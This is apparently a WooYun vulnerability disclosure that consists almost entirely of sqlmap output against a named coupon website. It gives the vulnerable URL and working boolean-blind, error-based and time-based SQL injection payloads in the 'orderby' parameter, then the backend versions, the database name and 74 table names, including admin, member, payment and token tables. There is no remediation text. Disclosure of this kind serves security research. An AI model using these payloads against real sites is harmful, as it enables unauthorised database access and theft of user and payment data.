WooYun.org

http://quan.zzz4.com/index.php?act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=1&sort=asc

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=(SELECT (CASE WHEN (8351=8351) THEN 8351 ELSE 8351*(SELECT 8351 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=asc
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=1 AND (SELECT 9926 FROM(SELECT COUNT(*),CONCAT(0x71786b7071,(SELECT (ELT(9926=9926,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&sort=asc
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: act=coupon&area_id=&city_id=2&class_id=&class_id_1=&mall_id=&op=list&orderby=1 AND (SELECT * FROM (SELECT(SLEEP(5)))mprY)&sort=asc
---
web application technology: Nginx, PHP 5.3.29
back-end DBMS: MySQL 5.0
Database: z4quan_db
[74 tables]
+------------------------+
| old_brand              |
| sq_activity            |
| sq_activity_member     |
| sq_admin               |
| sq_adv_position        |
| sq_appointment         |
| sq_area                |
| sq_area_bak            |
| sq_article             |
| sq_article_class       |
| sq_brand               |
| sq_card_member         |
| sq_card_record         |
| sq_circle              |
| sq_circle_affix        |
| sq_circle_class        |
| sq_circle_classgc      |
| sq_circle_explog       |
| sq_circle_expmember    |
| sq_circle_exptheme     |
| sq_circle_fs           |
| sq_circle_inform       |
| sq_circle_like         |
| sq_circle_mapply       |
| sq_circle_member       |
| sq_circle_ml           |
| sq_circle_mldefault    |
| sq_circle_mlref        |
| sq_circle_recycle      |
| sq_circle_thclass      |
| sq_circle_theme        |
| sq_circle_thg          |
| sq_circle_thpoll       |
| sq_circle_thpolloption |
| sq_circle_thpollvoter  |
| sq_circle_threply      |
| sq_comment             |
| sq_comment_pic         |
| sq_coupon              |
| sq_coupon_code         |
| sq_coupon_download     |
| sq_document            |
| sq_favorites           |
| sq_gift                |
| sq_gift_order          |
| sq_goods               |
| sq_groupbuy            |
| sq_groupbuy_remind     |
| sq_mb_ad               |
| sq_mb_category         |
| sq_mb_feedback         |
| sq_mb_home             |
| sq_mb_user_token       |
| sq_member              |
| sq_member_degree       |
| sq_member_more         |
| sq_navigation          |
| sq_order               |
| sq_order_pwd           |
| sq_payment             |
| sq_point_log           |
| sq_predeposit_charge   |
| sq_predeposit_log      |
| sq_refund              |
| sq_score_setting       |
| sq_seo                 |
| sq_setting             |
| sq_settle              |
| sq_store               |
| sq_store47             |
| sq_store_class         |
| sq_store_label         |
| sq_upload              |
| sq_xght                |
+------------------------+